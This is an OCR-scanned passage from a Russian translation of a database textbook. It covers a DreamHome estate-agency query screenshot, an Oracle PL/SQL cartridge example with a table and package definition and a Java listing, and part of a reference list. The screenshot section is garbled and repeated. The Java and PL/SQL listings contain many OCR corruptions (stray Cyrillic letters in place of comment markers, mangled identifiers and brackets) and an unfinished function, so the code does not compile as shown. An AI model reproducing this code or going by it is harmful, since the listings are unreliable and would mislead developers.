О DreamHome Estate Agents - Microsoft Internet ExploierО DreamHome Estate Agents - Microsoft Internet Exploierj Address |~*j Address |~*stap^;/ 5®^ ^^^s^stap^;/ 5®^ ^^^s^httpJ/www dceamhome co uk/staff_pfoperty_queiy.htmlhttpJ/www dceamhome co uk/staff_pfoperty_queiy.htmlDreamHome Estate AgentsDreamHome Estate AgentsQuery Results for Staff Property ManagementQuery Results for Staff Property Management| Pne| Street| G(y | Site |FName|tNataej ^|PA14 16 Holhead Aberdeen SA9 Mary -Howe| Pne| Street| G(y | Site |FName|tNataej ^|PA14 16 Holhead Aberdeen SA9 Mary -HowePA14 16 HolheadPA14 16 HolheadAberdeen SA9 MaryAberdeen SA9 MaryPG4 6 Lawrence St Glasgow SG14 David PG16 5NovarDr Glasgow SG14 David PG36 2 Manor Rd Glasgow SG37 Ann PG21 18 Dale Rd Glasgow ^SG37 Ann PL97 25 Muir House'Glasgow SG37 Ann PL94 6 Argyll St London SL41 Julie2 Done,- I iPG4 6 Lawrence St Glasgow SG14 David PG16 5NovarDr Glasgow SG14 David PG36 2 Manor Rd Glasgow SG37 Ann PG21 18 Dale Rd Glasgow ^SG37 Ann PL97 25 Muir House'Glasgow SG37 Ann PL94 6 Argyll St London SL41 Julie2 Done,- I iFord Ford Beech Beech .Beech XeeFord Ford Beech Beech .Beech Xee.0141-339-217/0141-339-21770141'4948-33450141-848-33450141-848-33450181-554-3541.0141-339-217/0141-339-21770141'4948-33450141-848-33450141-848-33450181-554-3541
О DreamHome Estate Agents - Microsoft Internet Exploier
О DreamHome Estate Agents - Microsoft Internet Exploier
j Address |~*
j Address |~*
stap^;/ 5®^ ^^^s^
stap^;/ 5®^ ^^^s^
httpJ/www dceamhome co uk/staff_pfoperty_queiy.html
httpJ/www dceamhome co uk/staff_pfoperty_queiy.html
DreamHome Estate Agents
DreamHome Estate Agents
Query Results for Staff Property Management
Query Results for Staff Property Management
| Pne| Street| G(y | Site |FName|tNataej ^|
PA14 16 Holhead Aberdeen SA9 Mary -Howe
| Pne| Street| G(y | Site |FName|tNataej ^|
PA14 16 Holhead Aberdeen SA9 Mary -Howe
PA14 16 Holhead
PA14 16 Holhead
Aberdeen SA9 Mary
Aberdeen SA9 Mary
PG4 6 Lawrence St Glasgow SG14 David PG16 5NovarDr Glasgow SG14 David PG36 2 Manor Rd Glasgow SG37 Ann PG21 18 Dale Rd Glasgow ^SG37 Ann PL97 25 Muir House'Glasgow SG37 Ann PL94 6 Argyll St London SL41 Julie
2 Done,- I i
PG4 6 Lawrence St Glasgow SG14 David PG16 5NovarDr Glasgow SG14 David PG36 2 Manor Rd Glasgow SG37 Ann PG21 18 Dale Rd Glasgow ^SG37 Ann PL97 25 Muir House'Glasgow SG37 Ann PL94 6 Argyll St London SL41 Julie
2 Done,- I i
Ford Ford Beech Beech .Beech Xee
Ford Ford Beech Beech .Beech Xee
.0141-339-217/0141-339-21770141'4948-33450141-848-33450141-848-33450181-554-3541
.0141-339-217/0141-339-21770141'4948-33450141-848-33450141-848-33450181-554-3541
Рис. Ж.2. Результат выполнения ASP-кода, представленного в листинге Ж.5
Ж.6. Картридж PL/SQL для Oracle
В разделе 24.10 рассматривается архитектура сетевых вычислений (Network Computing Architecture — NCA) разработки фирмы Oracle. Элементом этой архитектуры является технология подключаемых картриджей, позволяющая пользователям добавлять в их приложения функциональные возможности собственной разработки. Среди прочих картриджей, фирма Oracle разработала и SQL-картридж, предназначенный для упрощения процессов разработки. Следующий пример демонстрирует один из возможных способов использования этого картриджа.
■jjjf^кар тр иджа PL/SQL *’
Создайте на основе картриджа PL/SQL программу» которая позволит извлекать ! данные о клиентах, осматривавших объекты недвижимости.;
Тексты используемых в этом примере таблицы и пакета PL/SQL представлены в ; листинге Ж.6, а текст самой программы показан в листинге Ж.7. В целях упро- ; щения здесь опущен код обработки исключительных ситуаций. В таблице View- : ing_Stat_Table хранятся сведения о просмотрах, где каждая запись содержит номер объекта недвижимости и имя клиента, который его осматривал. Программа вызывает две хранимые процедуры PL/SQL: count_viewings, которая подсчитывает ' количество просмотров, и get_viewings_stat, на вход которой передается заранее определенное максимальное количество записей (v_max) и которая возвращает ре- ; зультирующий набор со сведениями об объектах недвижимости и именах клиентов. Для решения данной задачи создан соответствующий Java-класс viewingsStat с методами count_viewings и gеt_viewings_stat. .,
Листинг Ж.6. Пример использования картриджа PL/SQL для Oracle: определение таблицы и пакета PL/SQL для Oracle
CREATE TABLE viewings_stat_table(
pnoVARCHAR2(5)NOT NULL,
viewerVARCHAR2(20)NOT NULL,
CONSTRAINT unq_property_viewer UNIQUE(pno, viewer) );
CREATE OR REPLACE PACKAGE viewings_stat AS
type pno_table is table of varchar2(5) index by binary_integer;
type name_table is table of varchar2(20) index by binary_integer;
function count_viewings return number;
function get_viewings_stat (v_property no out pno_table, v_viewer out name table, v_max in number)
return number; END;
Листинг Ж.7. Пример использования картриджа PL/SQL для Oracle: текст PL/SQL картриджа на языке Java
import oracle.html.*;
import oracle.rdbms.*;
import oracle.plsql.*;
import oracle.owas.wrb.services.http.*;
import java.util.*;
class Viewings {
public static void main(String args[]) {
retrieveViewings (); И Выборка сведений об осмотре
printHTML ();// Построение HTML-кода и отправка его клиенту
}
I* Функция retrieveViewings */
private static void retrieveViewings () {
/* Подготовка нового сеанса работы с базой данных и передача имени пользователя, пароля и строки подключения для его открытия. */
dbSession = new Session("username", "user_password", "abed");
/* Подготовка пакета PL/SQL ViewingsStat к доступу.
* ViewingsStat - это класс-оболочка Java для пакета
* PL/SQL "viewings_stat". */
viewingsStat = new ViewingsStat (dbSession);
/* Вызов хранимой процедуры PL/SQL "viewingsStat.count_viewings".
Выполняется посредством вызова соответствующего метода класса-оболочки Java. */
PDouble pCount = viewingsStat.count_viewings();
/* Выборка значений из результата, полученного от PL/SQL. */ int count = pCount.intValue();
viewings = new String[count];
viewer = new String[count];
if (count > 0) {
/* Подготовка параметров вызова хранимой процедуры PL/SQL */ PStringBuffer pViewings[] = new PStringBuffer[count]? PStringBuffer pViewer[] = new PStringBuffer[count]; PDouble pMax = new PDouble(count);
for(int i = 0; i < pViewings.length; i++) {
/* Для данных типа массивов требуется создать каждый из их элементов */ pViewings[i] = new PStringBuffer(5);
pViewersfi] = new PStringBuffer(20);
}'
/* Вызов хранимой процедуры PL/SQL "viewingsStat.get_viewings_stat" */ pCount = viewingsStat.get_viewings_stat(pViewings, pViewers, pMax); count = pCount.intValue();
for(int i = 0; i < count; i++) {
/* Выборка значений, полученных от PL/SQL, и сохранение их в переменных Java. */ viewingsfi] = pViewings[i].stringValue(); viewers!i] = pViewers[i].stringvalue();
}
}
dbSession.logoff();
}
/* Функция printHTML, которая создает HTML-страницу, содержащую затребованные данные, представленные в табличном формате */ private static void printHTML(){
/* Подготовка HTML-страницы, состоящей из заголовка и тела. */ HtmlHead hd=newHtmlHead();
HtmlBody bd=newHtmlBody();
HtmlPage pg=newHtmlPage(hd,bd);
Compounditem infobody = new Compounditem));
infobody.addltem(new SimpleItem("DreamHome").setltal());
// Вывод текста курсивом infobody.addltem(new Simpleltem(" Estate Agents")); infobody.addItem(SimpleItem.Paragraph);И добавление абзаца
/* Использование определения HTML-списка для оформления отступа абзацев. */ DefinitionList viewingslnfo = new DefinitionList();
Simpleltem emptyCell = new Simpleltem();
viewingslnfo.addDef(emptyCell, infoBody)
.addDef(emptyCell, generateViewingsReport());
// генерация выходной таблицы для сведений о просмотрах
bd.addltem(viewingslnfo);
pg.printHeader(); И Отправка HTTP-заголовка
pg.print(); И Отправка HTML-страницы }
/* Этот метод форматирует результаты запроса к базе данных в виде HTML-таблицы.
Он иллюстрирует использование класса DynamicTable для генерации HTML-таблиц. Результат возвращается как HTML-элемент. */
private static Item generateViewingsReportf) {
Compounditem report = new Compounditem();
/* Конструирование HTML-таблицы, которая представлена объектом
класса DynamicTable. */
DynamicTable tab = new DynamicTable(2);
TableRow row = new TableRow(); // Вывод заголовка таблицы.
row.addCell(new TableHeaderCell("Property"))
.addCell(new TableHeaderCell("Viewer "));
tab.addRow(row);
/* Вывод сведений о каждом просмотре в отдельную строку HTML-таблицы */
for (int i = 0; i < viewings.length; i++) {
row = new TableRow();
row.addCell(new TableDataCell(viewings[i]))
.addCell(new TableDataCell(viewers[ i ]));
tab.addRow(row);
}
report.additem(tab);
return report;
Список литературы
Aho A., Sagiv Y. and Ullman J. D. (1979). Equivalence among Relational Expressions. SIAM Journal of Computing, 8(2), 218-246.
Alsberg P. A. and Day J. D. (1976). A principle for resilient sharing of distributed- resources. In Proc. 2nd Int. Conf. Software Engineering, San Francisco, CA, 562-570.
American National Standards Institute (1975). ANSI/ХЗ/SPARC Study Group on Data Base Management Systems. Interim Report, FDT. ACM SIGMOD Bulletin, 7(2).
Anahory S. and Murray D. (1997). Data Warehousing in the Real World: A Practical Guide for Building Decision Support Systems. Harlow, England: Addison Wesley Longman.
Astrahan M. M., Biasgen M. W., Chamberlin D. D., Eswaran К. P., Gray J. N., Griffith P. P., King W. F., Lorie R. A., McJones P. R., Mehl J. W., Putzolu G. R., Traiger I. L., Wade B. W. and Watson V. (1976). System R: Relational approach to database management. ACM Trans. Database Systems, 1(2), 97-137.
Atkinson M. P., Bailey P. J., Chisolm K. J., Cockshott W. P. and Morrison R. (1983/ An approach to persistent programming. Computer Journal, 26(4), 360-365.
Atkinson M. and Buneman P. (1989). Type and persistence in database programming languages. ACM Computing Surv., 19(2).
Atkinson M., Bancilhon F., DeWitt D., Dittrich K., Maier D. and Zdonik S. (1989). Object-Oriented Database System Manifesto. In Proc. 1st Int. Conf. Deductive and Object-Oriented Databases, Kyoto, Japan, 40-57.
Atkinson M. P. and Morrison R. (1995). Orthogonally Persistent Object Systems. In VLDB Journal, 4(3), 319-401.
Atwood T. M. (1985). An object-oriented DBMS for design support applications. In Proc. IEEE 1st Int. Conf. Computer-Aided Technologies, Montreal, Canada, 299-307.
Bailey R. W. (1989). Human Performance Engineering: Using Human Factors/Ergonomics to Archive Computer Usability 2nd edn. Englewood Cliffs, NJ: Prentice-Hall.
Bancilhon F. and Buneman P. (1990). Advanced in Database Programming Languages. Reading, MA: Addison-Wesley, ACM Press.
Bancilhon F. and Khoshafian S. (1989). A calculus for complex objects. J. Computer and System Sciences, 38(2), 326-340.
Banerjee J., Chou H., Garza J. F., Kim W., Woelk D., Ballou N. and Kim H. (1987, a). Data model issues for object-oriented applications. ACM Trans. Office Information Systems, 5(1), 3-26.
Banerjee J., Kim W., Kim H. J. and Korth H. F. (1987, 6). Semantics and implementation of schema evolution in object-oriented databases. In Proc. ACM SIGMOD Conf., San Francisco, CA, 311-322.
Barghouti N. S. and Kaiser G. (1991). Concurrency control in advanced database applications. ACM Computing Surv.
Batini C., Ceri S. and Navathe S. (1992/ Conceptual Database Design: An EntityRelationship Approach. Redwood City, CA: Benjamin/Cummings.
Bayer R. and McCreight E. (1972). Organization and maintenance of large ordered indexes. Acta Informatica, 1(3), 173-189.
Beech D. and Mahbod B. (1988). Generalized version control in an object-oriented database. In IEEE 4th Int. Conf. Data Engineering, February 1988.
Berners-Lee T. (1992). The Hypertext Transfer Protocol. World Wide Web Consortium. Work in Progress. Доступно по адресу: http://www.w3.org/Protocols/Overview.html.
Berners-Lee T., Cailliau R., Luotonen A., Nielsen H. F. and Secret A. The World Wide Web. Comm. ACM. 37(8), August 1994.
Berners-Lee T. and Connolly D. (1993). The Hypertext Markup Language. World Wide Web Consortium. Work in Progress. Доступно по адресу: http://www.w3.org/MarkUp/ MarkUp.html.
Berners-Lee T., Fielding R. and Frystyk H. (1996). HTTP Working Group Internet Draft HTTP/l.O.May 1996. Доступно по адресу:
http://ds.internic.net/rfc/rfcl945.txt.
Bernstein P. A. and Chiu D. M. (1981). Using Semi-joins to Solve Relational Queries. Journal of the ACM, 28(1), 25-40.
Bernstein P. A., Hadzilacos V. and Goodman N. (1987). Concurrency Control and Recovery in Database Systems. Reading, MA; Addison-Wesley.
Berson A. and Smith S. J. (1997). Data Warehousing, Data Mining, & OLAP. New York, NY: McGraw Hill Companies Inc.
Blaha M. and Premerlani W. (1997). Object-Oriented Modeling and Design for Database Applications. Prentice Hall.
Boyce R., Chamberlin D., King W. and Hammer M. (1975). Specifying queries as relational expressions: SQUARE. Comm. ACM, 18(11), 621-628.
Brathwaite K. S. (1985). Data Administration: Selected Topics of Data Control. New York: John Wiley.
Brooks P. (1997). Data marts grow up. DBMS Magazine. April 1997, 31-35.
Bukhres O. A. and Elmagarmid A. K. eds. (1996). Object-Oriented Multidatabase Systems: A Solution for Advanced Applications. Englewood Cliffs, NJ: Prentice-Hall.
Buretta M. (1997). Data Replication: Tools and Techniques for Managing Distributed Information. New York, NY: Wiley Computer Publishing.
Cabena P., Hadjinian P., Stadler R., Verhees J. and Zanasi A. (1997). Discovering Data Mining from Concept to Implementation. New Jersey, USA: Prentice-Hall PTR.
Cannan S. and Otten G. (1993). SQL - The Standard Handbook. Maidenhead: McGraw-Hill International.
Cardelli L. and Wegner P. (1985). On understanding types, data abstraction and polymorphism. ACM Computing Surv., 17(4), 471-522.
Carey M. J., DeWitt D. J. and Naughton J. F. (1993). The 007 Object-Oriented Database Benchmark. In Proc. ACM SIGMOD Conf. Washington, D.C.
Cattell R. G. G. and Skeen J. (1992). Object operations benchmark. ACM Trans. Database Systems, 17, 1-31.
Cattell R. G. G. ed. (1997). The Object Database Standard: ODMG Release 2.0. San Mateo, CA: Morgan Kaufmann.
Cattell R. G. G. (1994). Object Data Management: Object-Oriented and Extended Relational Database Systems revised edn. Reading, MA: Addison-Wesley.
Ceri S., Negri M. and Pelagatti G. (1982). Horizontal Data Partitioning in Database Design. ACM SIGMOD Conf., 128-136.
Chamberlin D. and Boyce R. (1974). SEQUEL: A Structured English Query Language. In Proc. ACM SIGMOD Workshop on Data Description, Access and Control.
Chamberlin D. et al. (1976). SEQUEL2: A unified approach to data definition, manipulation and control. IBM J. Research and Development, 20(6), 560-575.
Chen P. P. (1976). The Entity-Relationship model - Toward a unified view of data. ACM Trans. Database Systems, 1(1), 9-36.
Childs D. L. (1968). Feasibility of a set-theoretical data structure. In Proc. Fall Joint Computer Conference, 557-564.
Chou H. T. and Kim W. (1986). A unifying framework for versions in a CAD environment. In Proc. Int. Conf. Very Large Data Bases, Kyoto, Japan, August 1986, 336-344.
Chou H. T. and Kim W. (1988). Versions and change notification in an object- oriented database system. In Proc. Design Automation Conference, June 1988, 275-281.
Coad P. and Yourdon E. (1991). Object-Oriented Analysis 2nd edn. Englewood Cliffs, NJ: Yourdon Press/Prentice-Hall.
Cockshott W. P. (1983). Orthogonal Persistence. Ph.D. thesis, University of Edinburgh, February 1983.
CODASYL Database Task Group Report. (1971). ACM, New York, April 1971.
Codd E. F. (1970). A relational model of data for large shared data banks. Comm. ACM, 13(6), 377-387.
Codd E. F. (1971). A data base sublanguage founded on the relational calculus. In Proc. ACM SIGFIDET Conf, on Data Description, Access and Control, San Diego, CA, 35-68.
Codd E. F. (1972, a). Relational completeness of data base sublanguages. In Data Base Systems, Courant Comput. Sci. Symp 6th (R. Rustin, ed.), 65-98. Englewood Cliffs, NJ: Prentice-Hall.
Codd E. F. (1972, 6). Further normalization of the data base relational model. In Data Base Systems (Rustin R., ed.), Englewood Cliffs, NJ: Prentice-Hall.
Codd E, F. (1974). Recent investigations in relational data base systems. In Proc. IFIP Congress.
Codd E. F. (1979). Extending the data base relational model to capture more meaning. ACM Trans. Database Systems, 4(4), 397-434.
Codd E. F. (1982). The 1981 ACM Turing Award Lecture: Relational database: A practical foundation for productivity. Comm. ACM, 25(2), 109-117.
Codd E. F. (1985, a). Is your DBMS really relational? Computerworld, 14 October 1985, 1-9.
Codd E. F. (1985, 6). Does your DBMS run by the rules? Computerworld, 21 October 1985, 49-64.
Codd E. F. (1986). Missing information (applicable and inapplicable) in relational databases. ACM SIGMOD Record, 15(4).
Codd E. F. (1987). More commentary on missing information in relational databases. ACM SIGMOD Record, 16(1).
Codd E. F. (1988). Domains, keys and referential integrity in relational databases. InfoDB, 3(1).
Codd E. F. (1990). The Relational Model for Database Management Version 2. Reading, MA: Addison-Wesley.
Codd E. F., Codd S. B. and Salley С. T. (1993). Providing OLAP (On-line Analytical Processing) to User-Analysts: An IT Mandate. Arbor Software Corporation. Доступно no адресу: http://ww.arborsoft.com/essbase/wht_ppr/coddToc.html.
Comer D. (1979). The ubiquitous В-tree. ACM Computing Surv., 11(2), 121-138.
Connolly T. M. (1994). The 1993 object database standard. Technical Report 1(3), Computing and Information Systems, University of Paisley, Paisley, Scotland.
Connolly T. M. (1997). Approaches to Persistent Java. Technical Report 4(2), Computing and Information Systems, University of Paisley, Scotland.
Connolly T. M., Begg С. E. and Sweeney J. (1994). Distributed database management systems: have they arrived? Technical Report 1(3), Computing and Information Systems, University of Paisley, Paisley, Scotland.
Dahl 0. J. and Nygaard K. (1966). Simula - an ALGOL-based simulation language. Comm. ACM, 9, 671-678.
Darling С. B. (1996). How to Integrate your Data Warehouse. Datamation, May 15, 40-51.
Darwen H. and Date C. J. (1995). The Third Manifesto. SIGMOD Record, 24(1), 39-49.
Darwen H. and Date C. J. (1998). Foundations for Object/Relational Databases: The Third Manifesto. Harlow, Addison Wesley Longman.
Database Architecture Framework Task Group. (1986). Reference Model for DBMS Standardization. SIGMOD Record, 15(1).
Date C. J. (1986). Relational Database: Selected Writings. Reading, MA: Addison-Wesley.
Date C. J. (1987). Where SQL falls short. Datamation, May 1987, 83-86.
Date C. J. (1987). Twelve rules for a distributed database. ComputerWorld, 8 June, 21(23), 75-81.
Date C. J. (1990). Referential integrity and foreign keys. Part I: basic concepts; Part II: further considerations. In Relational Database Writing 1985-1989 (Date C. J.). Reading, MA: Addison-Wesley.
Date C. J. (1995). An Introduction to Database Systems 6th edn. Reading, MA: Addison- Wesley.
Date C. J. and Darwen H. (1992). Relational Database Writings 1989-1991. Reading, MA: Addison-Wesley.
Davidson S. B. (1984). Optimism and consistency in partitioned distributed database systems. ACM Trans. Database Systems, 9(3), 456-481.
Davison D. L. and Graefe G. (1994). Memory-Contention Responsive Hash Joins. In Proc. Int. Conf. Very Large Data Bases.
Davidson S. B., Garcia-Molina H. and Skeen D. (1985). Consistency in partitioned networks. ACM Computing Surv., 17(3), 341-370.
DBMS: DBMS ONLINE — Web-сайт журнала по базам данных и решениям архитектуры клиент/сервер. Доступно по адресу: http://ww.dbmsmag.com.
DeWitt D. J. and Gerber R. (1985). Multiprocessor Hash-Based Join Algorithms. In Proc. 11th Int. Conf. Very Large Data Bases. Stockholm, 151-164.
DeWitt D. J., Katz R. H., Olken F., Shapiro L. D., Stonebraker M. R. and Wood D. (1984). Implementation Techniques for Main Memory Database Systems. In Proc. ACM SIGMOD Conf. On Management of Data, Boston, Mass., 1-8.
Dunnachie S. (1984). Choosing a DBMS. In Database Management Systems Practical Aspects of Their Use (Frost R. A., ed.), 93-105. London: Granada Publishing.
Earl M. J. (1989). Management Strategies for Information Technology. Hemel Hempstead: Prentice Hall.
Elbra R. A. (1992). Computer Security Handbook. Oxford: NCC Blackwell.
Elmasri R. and Navathe S. (1994). Fundamentals of Database Systems 2nd edn. New York: Benjamin/Cummings.
Epstein R., Stonebraker M. and Wong E. (1978). Query processing in a distributed relational database system. In Proc. ACM SIGMOD Int. Conf. Management of Data, Austin, TX, May 1978, 169-180.
Eswaran К. P., Gray J. N., Lorie R. A. and Traiger I. L. (1976). The notion of consistency and predicate locks in a database system. Comm. ACM, 19(11), 624-633.
Fagin R. (1977). Multivalued dependencies and a new normal form for relational databases. ACM Trans. Database Systems, 2(3).
Fagin R. (1979). Normal forms and relational database operators. In Proc. ACM SIGMOD Int. Conf, on Management of Data, 153-160.
Fagin R., Nievergelt J., Pippenger N. and Strong H. (1979). Extendible hashing -A fast access method for dynamic files. ACM Trans. Database Systems, 4(3), 315-344.
Fayyad U. M. (1996). Data Mining and Knowledge Discovery: Making Sense out of Data. IEEE Expert, Oct., 20-25.
Fernandez E. B., Summers R. C. and Wood C. (1981). Database Security and Integrity. Reading, MA: Addison-Wesley.
Finkel R. A. and Bentley J. L. (1974). Quad Trees: A Data Structure for Retrieval on Composite Keys. Acta Informatica 4: 1-9.
Fisher A. S. (1988). CASE - Using Software Development Tools. Chichester: John Wiley.
Fleming C. and Von Halle B. (1989). Handbook of Relational Database Design. Reading, MA: Addison-Wesley.
Frank L. (1988). Database Theory and Practice. Reading, MA: Addison-Wesley.
Frost R. A. (1984). Concluding comments. In Database Management Systems Practical Aspects of Their Use (Frost R. A., ed.), 251-260. London: Granada Publishing.
Gane C. (1990). Computer-Aided Software Engineering: The Methodologies, the Products, and the Future. Englewood Cliffs, NJ: Prentice-Hall.
Gardarin G. and Valduriez P. (1989). Relational Databases and Knowledge Bases. Reading, MA: Addison-Wesley.
Garcia-Molina H. (1979). A concurrency control mechanism for distributed data bases which use centralised locking controllers. In Proc. 4th Berkeley Workshop Distributed Databases and Computer Networks, August 1979.
Garcia-Molina H. and Salem K. (1987). Sagas. In Proc. ACM. Conf. On Management of Data, 249-259.
Garcia-Solaco M., Saltor F. and Castellanos M. (1996). Semantic Heterogeneity in Multidatabase Systems. In Bukhres and Elmagarmid (1996), 129-195.
Gates W. (1995). The Road Ahead. Penguin Books.
Gillenson M. L. (1991). Database administration at the crossroads: The era of enduser-oriented, decentralized data processing. J. Database Administration, 2(4), 1-11.
Girolami M., Cichocki A. and Amari S. (1997) A Common Neural Network Model for Unsupervised Exploratory Data Analysis and Independent Component Analysis. In Press. Brain Information Processing Group Technical Report BIP-97-001.
Goldberg A. and Robson D. (1983). Smalltalk 80: The Language and Its Implementation. Addison-Wesley.
Gosling J., Joy B. and Steele G. (1996). The Java Language Specification. Addison-Wesley.
Graefe G. (1993). Query Evaluation Techniques for Large Databases. ACM Computing Surv., 25(2), 73-170.
Graefe G. and DeWitt D. J. (1987). The EXODUS Optimizer Generator. In Proc. ACM SIGMOD Conf. On Management of Data, 160-172.
Graham I. (1993). Object Oriented Methods 2nd edn. Wokingham: Addison-Wesley.
Gray J. N., Lorie R. A. and Putzolu G. R. (1975). Granularity of locks in a shared data base. In Proc. Int. Conf. Very Large Data Bases, 428-451.
Gray J. (1981). The transaction concept: virtues and limitations. In Proc. Int. Conf. Very Large Data Bases, 144-154, Cannes, France.
Gray J. (1989). Transparency in its Place - The Case Against Transparent Access to Geographically Distributed Data. Technical Report TR89.1. Cupertino, CA: Tandem Computers Inc.
Gray J. and Reuter A. (1993). Transaction Processing: Concepts and Techniques. San Mateo, CA: Morgan Kaufmann.
Greenblatt D. and Waxman J. (1978). A study of three database query languages. In Database: Improving Usability and Responsiveness (Shneiderman B., ed.), 77-98. New York, NY: Academic Press.
Greenfield L. (1996). Don't let the Data Warehousing Gotchas Getcha. Datamation, Mar 1, 76-77. Доступно по адресу: http//pwp.starnetinc.com/larryg/index.html.
Gualtieri A. (1996) Open Database Access and Interoperability. Доступно по адресу: http://www.opengroup.org/dbiop/wpaper.html.
Guide/Share. (1970). Database Management System Requirements. Report of the Guide/Share Database Task Force. Guide/Share.
GUIDE (1978). Data Administration Methodology. GUIDE Publications GPP-30.
Gutman A. (1984). R-Trees: A Dynamic Index Structure for Spatial Searching. In Proc. ACM SIGMOD Conf. Management of Data, Boston, 47-57.
Hackathorn R. (1995). Data Warehousing Energizes your Enterprise. Datamation, Feb. 1, 38-42.
Haerder T. and Reuter A. (1983). Principles of transaction-oriented database recovery. ACM Computing Surv., 15(4), 287-318.
Halsall F. (1995). Data Communications, Computer Networks and Open Systems 4th edn. Wokingham: Addison-Wesley.
Hamilton G. and Cattell R. G. G. (1996). JDBC: A Java SQL API. Technical report, SunSoft.
Hammer R. and McLeod R. (1981). Database description with SDM: A semantic database model. ACM Trans. Database Systems, 6(3), 351-386.
Hawryszkiewycz I. T. (1991) Database Analysis and Design 2nd edn. New York, NY: Macmillan Publishing Company.
Hellerstein J. M., Naughton J. F. and Pfeffer A. (1995). Generalized Search Trees for Database Systems. In Proc. Int. Conf. Very Large Data Bases, 562-573.
Herbert A. P. (1990). Security policy. In Computer Security: Policy, planning and practice (Roberts D. W., ed.), 11-28. London: Blenheim Online.
Holt R. C. (1972). Some deadlock properties of computer systems. ACM Computing Surv., 4(3), 179-196.
Hoskings A. L. and Moss J. E. B. (1993). Object Fault Handling for Persistent Programming Languages: A Performance Evaluation. In Proc. ACM Conf, on Object- Oriented Programming Systems and Languages, 288-303.
Howe D. (1989). Data Analysts for Data Base Design 2nd edn. London: Edward Arnold.
Hull R. and King R. (1987). Semantic database modeling: Survey, applications and research issues. ACM Computing Surv., 19(3), 201-260.
Ibaraki T. and Kameda T. (1984). On the Optimal Nesting Order for Computing N- Relation Joins. ACM Trans. Database Syst. 9(3), 482-502.
IDC (1996). A Survey of the Financial Impact of Data Warehousing. International Data Corporation. Доступно по адресу: http://www.idc.ca/sitemap.html.
IDC (1998). International Data Corporation. Доступно по адресу:.
http://www.idcresearch.com.
Inmon W. H. (1993). Building the Data Warehouse. New York, NY: John Wiley & Sons.
Inmon W. H. and Hackathorn R. D. (1994). Using the Data Warehouse. New York, NY: John Wiley & Sons.
Inmon W. H., Welch J. D. and Glassey K. L. (1997). Managing the Data Warehouse. New York, NY: John Wiley & Sons.
ISO (1981). ISO Open Systems Interconnection, Basic Reference Model (ISO 7498). International Organization for Standardization.
ISO (1986). Standard Generalized Markup Language (ISO/IEC 8879). International Organization for Standardization.
ISO (1987). Database Language SQL (ISO 9075:1987(E)). International Organization for Standardization.
ISO (1989). Database Language SQL (ISO 90 75:1989(E)). International Organization for Standardization.
ISO (1990). Information Technology - Information Resource Dictionary System (IRDS) Framework (ISO 10027). International Organization for Standardization.
ISO (1992). Database Language SQL (ISO 9075:1992(E)). International Organization for Standardization.
ISO (1993). Information Technology - Information Resource Dictionary System (IRDS) Services Interface (ISO 10728). International Organization for Standardization.
ISO (1995). Call-Level Interface (SQL/CLI) (ISO/IEC 9075-3:1995 (E)). International Organization for Standardization.
ISO (1998, a). Database Language SQL - Part 2: Foundation (ISO/IEC 9075-2). International Organization for Standardization.
ISO (1998, 6). Database Language SQL - Part 2: Persistent Stored Modules (ISO/IEC 9075-4). International Organization for Standardization.
Jaeschke G. and Schek H. (1982). Remarks on the algebra of поп-first normal form relations. In Proc. ACM Int. Symposium on Principles of Database Systems, Los Angeles, March 1982, 124-138.
Jagannathan D., Guck R. L., Fritchman B. L., Thompson J. P. and Tolbert D. M. (1988). SIM: A database system based on the semantic data model. In Proc. ACM SIGMOD.
Katz R. H., Chang E. and Bhateja R. (1986). Version modeling concepts for computer- aided design databases. In Proc. ACM SIGMOD Int. Conf. Management of Data, Washington, DC, May 1986, 3 79-386.
Kemper A. and Kossman D. (1993). Adaptable pointer swizzling strategies in object bases. In Proc. Int. Conf on Data Engineering, April 1993, 155-162.
Kendall К. and Kendall J. (1995) Systems Analysis and Design 3rd edn. New Jersey: USA Prentice Hall International Inc.
Kim W. (1991). Object-oriented database systems: strengths and weaknesses. J. Object-Oriented Programming, 4(4), 21-29.
Kim W., Bertino E. and Garza J. F. (1989). Composite objects revisited. In Proc. ACM SIGMOD Int. Conf. On Management of Data. Portland, Oregon.
Kim W. and Lochovsky F. H., eds. (1989). Object-Oriented Concepts, Databases and Applications. Reading, MA: Addison-Wesley.
Kim W., Reiner D. S. and Batory D. S. (1985). Query Processing in Database Systems. New York, NY: Springer-Verlag.
Khoshafian S. and Abnous R. (1990). Object Orientation: Concepts, Languages, Databases and Users. New York, NY: John Wiley.
Khoshafian S. and Valduriez P. (1987). Persistence, sharing and object orientation: A database perspective. In Proc. Workshop on Database Programming Languages, Roscoff, France, 1987.
Kohler W. H. (1981). A survey of techniques for synchronization and recovery in decentralised computer systems. ACM Computing Surv., 13(2), 149-183.
Korth H. F., Kim W. and Bancilhon F. (1988). On long-duration CAD transactions. Information Science, October 1988.
Kung H. T. and Robinson J. T. (1981). On optimistic methods for concurrency control. ACM Trans. Database Systems, 6(2), 213-226.
Lacroix M. and Pirotte A. (1977). Domain-oriented relational languages. In Proc. 3rd Int. Conf. Very Large Data Bases, 370-378.
Lamb C., Landis G., Orenstein J. and Weinreb D. (1991). The ObjectStore Database System. Comm, of the ACM, 34(10), October 1991.
Larson P. (1978). Dynamic hashing. BIT, 18.
Leiss E. L. (1982). Principles of Data Security. New York, NY: Plenum Press.
Lindholm T. and Yellin F. (1996). The Java Virtual Machine. Addison-Wesley.
Litwin W. (1980). Linear hashing: A new tool for file and table addressing. In Proc. Int. Conf. Very Large Data Bases, 212-223.
Litwin W. (1988). From database systems to multidatabase systems: why and how. In Proc. British National Conf. Databases (BNCOD 6), (Gray W. A. ed.), Cambridge: Cambridge University Press, 161-188.
Loomis M. E. S. (1992). Client-server architecture. J. Object Oriented Programming, 4(9), 40-44.
Lorie R. (1977). Physical integrity in a large segmented database. ACM Trans. Database Systems, 2(1), 91-104.
Lorie R. and Plouffe W. (1983). Complex objects and their use in design transactions. In Proc. ACM SIGMOD Conf. Database Week, May 1983, 115-121.
Maier D. (1983). The Theory of Relational Databases. New York, NY: Computer Science Press.
Mattison R. (1996). Data Warehousing: Strategies. Technologies and Techniques. New York, NY: McGraw-Hill.
McClure C. (1989). CASE Is Software Automation. Englewood Cliffs, NJ: Prentice-Hall.
McCool R. (1993). Common Gateway Interface Overview. Work in Progress. National Center for Supercomputing Applications (NCSA), University of Illinois. Доступно no адресу: http://hoohoo.ncsa.uiuc.edu/cgi/overview.html.
Menasce D. A. and Muntz R. R. (1979). Locking and deadlock detection in distributed databases. IEEE Trans. Software Engineering, 5(3), 195-202.
Merrett T. H. (1984). Relational Information Systems. Reston Publishing Co.
Mishra P. and Eich M. H. (1992). Join Processing in Relational Databases. ACM Computing Surv., 24, 63-113.
